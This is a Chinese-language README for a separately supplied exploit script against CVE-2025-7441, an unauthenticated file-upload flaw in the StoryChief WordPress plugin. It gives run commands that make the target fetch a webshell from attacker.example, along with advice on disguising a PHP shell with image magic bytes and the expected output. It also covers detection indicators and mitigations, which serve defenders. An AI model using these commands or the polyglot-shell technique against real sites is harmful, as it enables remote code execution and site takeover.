CVE-2025-7441
StoryChief <= 1.0.42 - 未经认证的任意文件上传
🚨 StoryChief <= 1.0.42 — 未经认证的任意文件上传 (CVE-2025-7441)
ℹ️ 概述
StoryChief (WordPress 插件) 版本 1.0.42 及以下版本通过 REST 端点 /wp-json/storychief/webhook 暴露了一个关键的未经认证的任意文件上传漏洞。攻击者可导致插件获取并持久化一个攻击者控制的远程资源(例如 webshell)到站点的上传目录,从而在许多默认的 WordPress 部署中实现远程代码执行。
- CVE: CVE-2025-7441
- CVSS: 9.8 (严重)
💥 影响
- 远程未经认证的文件上传至 wp-content/uploads/YYYY/MM/。
- 当上传的文件可执行时(例如 PHP),可能实现远程代码执行。
- 当 WordPress 配置为在文档根目录下执行上传的 PHP 文件时,可能导致站点完全沦陷。
🧩 漏洞根因
该插件接受一个传入的 JSON 载荷(发布事件),其中包含一个 featured_image -> data -> sizes -> full 字段,指向任意 URL。StoryChief 未进行充分的文件类型/内容验证,也未限制 URL 来源,从而允许插件获取远程资源并将其保存到站点的上传目录下。没有足够的验证来阻止存储包含可执行代码的文件。
🛠️ 利用脚本——功能说明(映射到漏洞)
本节从高层次解释利用脚本(单独提供),并将每个重要行为映射到底层漏洞。
- CLI 参数解析——目标 URL (-u/--url)、远程 shell URL (-shell)、可选的 HMAC 密钥、请求头、代理/超时/重试标志、调试和仅打印选项。
- 目标规范化——当提供站点根目录时,自动追加 /wp-json/storychief/webhook。
- Shell URL 验证——验证远程 URL 是否可达(HEAD/GET 或 curl)。
- 文件名提取——使用远程 URL 的基础名推断最终的上传文件名。
- 载荷构造——将攻击者控制的 URL 放入 data.featured_image.data.sizes.full,强制插件获取并存储文件。
- HMAC 签名(可选)——使用可选的十六进制密钥计算 meta.mac (HMAC-SHA256);某些服务器可能忽略或要求此值。
- 发送——使用带重试/退避的 requests 或 curl 后备,支持自定义请求头、代理和 --no-verify。
- 响应处理——解析 JSON 响应中的 permalink/id 键以检测成功;否则报告失败。
- 输出——成功时打印预期的上传路径:wp-content/uploads/YYYY/MM/。
🖼️ Shell 文件要求(关键)
当使用 .php 远程文件时(例如 https://attacker.example/shell.php),该文件必须包含有效的图像头部(魔术字节),以便被插件或图像处理代码视为/接受为图像。关键点:
- 使用多语言方法:文件应以有效的图像魔术字节开头(例如 JPEG、PNG 或 GIF),以便简单的检查和图像处理程序接受它,同时包含 PHP 载荷,该载荷在磁盘上按原样保留。
- 常见图像魔术字节:
- JPEG: 0xFF 0xD8 0xFF
- PNG: 0x89 0x50 0x4E 0x47
- GIF: ASCII "GIF89a" 或 "GIF87a"
- 不要仅依赖文件扩展名。许多插件会检查文件内容或使用验证图像完整性的库(GD、ImageMagick)。
- 环境相关:某些服务器会进一步验证或重新编码图像,这可能会剥离注入的代码。请先在授权的实验室中测试。
- 道德提醒:不要在此处发布可工作的 webshell 代码。仅限在授权环境中创建和测试此类文件。
▶️ 运行方式(示例)
将占位符替换为授权目标。以下所有示例均使用 .php 远程 shell URL。
python3 CVE-2025-7441.py -u https://target.example -shell https://attacker.example/shell.php
python3 CVE-2025-7441.py -u https://target.example/wp-json/storychief/webhook -shell https://attacker.example/shell.php --debug
python3 CVE-2025-7441.py -u https://target.example -shell https://attacker.example/shell.php --use-curl
python3 CVE-2025-7441.py -u https://target.example -shell https://attacker.example/shell.php --print-only
重要标志:
- --no-verify:跳过 TLS 验证(谨慎使用)。
- --proxy:通过代理发送请求。
- --header "Key: Value": 添加自定义请求头。
📤 预期输出
- 成功运行:
- Uploaded: wp-content/uploads/2025/10/shell.php
- 调试示例:
- [DEBUG] shell HEAD status: 200
- [DEBUG] post status: 200
- [DEBUG] curl cmd: curl -s -X POST https://target... -H Content-Type: application/json -d '{"meta":...}'
- 失败消息:
- "[-] Error: shell URL is not reachable (not HTTP 200)"
- "[-] Error: request failed"
- "[-] Error: upload failed or endpoint returned non-JSON/HTML"
🔎 检测与入侵指标(IoCs)
- 来自未知 IP 的针对 /wp-json/storychief/webhook 的意外 POST 请求。
- wp-content/uploads/// 目录中出现带有 PHP 扩展名或包含嵌入式代码的图像扩展名的新文件。
- Web 服务器日志显示向攻击者控制的域名发出出站 GET 请求,随后访问上传的文件。
- 可疑的图像文件,附加或嵌入了非图像内容。
🛡️ 缓解与修复
短期措施:
- 立即将 StoryChief 升级到已修补的版本(如果可用)。
- 通过 WAF 或服务器规则阻止或限制 /wp-json/storychief/webhook。
- 限制服务器的出站获取或对不可信域名的出口流量。
开发者指导:
- 在任何远程获取后验证文件类型和内容;使用安全解析器验证图像并拒绝无效文件。
- 对导致服务器端下载或文件创建的 webhook 要求身份验证。
- 确保实施并强制执行 HMAC/签名验证。
- 将上传的内容存储在 web 根目录之外,或禁用 wp-content/uploads 中上传文件的执行权限(通过 Web 服务器规则)。
⚠️ 限制与注意事项
- 利用成功取决于服务器配置、图像处理库和 Web 服务器执行策略。
- 对图像进行重新处理或重新编码的服务器可能会移除注入的载荷。
- 如果插件验证签名,提供错误的 mac 可能导致拒绝。
🤝 负责任使用
本文档面向防御者和授权测试人员。请勿针对您不拥有或未获明确许可的系统使用这些技术。未经授权的利用是非法的且不道德。
如果您向供应商或网站所有者报告此问题,请提供复现细节、安全的修复步骤和建议的修复方案。
📚 参考与致谢
- 报告与利用脚本作者:Nxploited (Khaled Alenazi) — 脚本文件名:CVE-2025-7441.py(单独提供)
- CVE: CVE-2025-7441
- CVSS: 9.8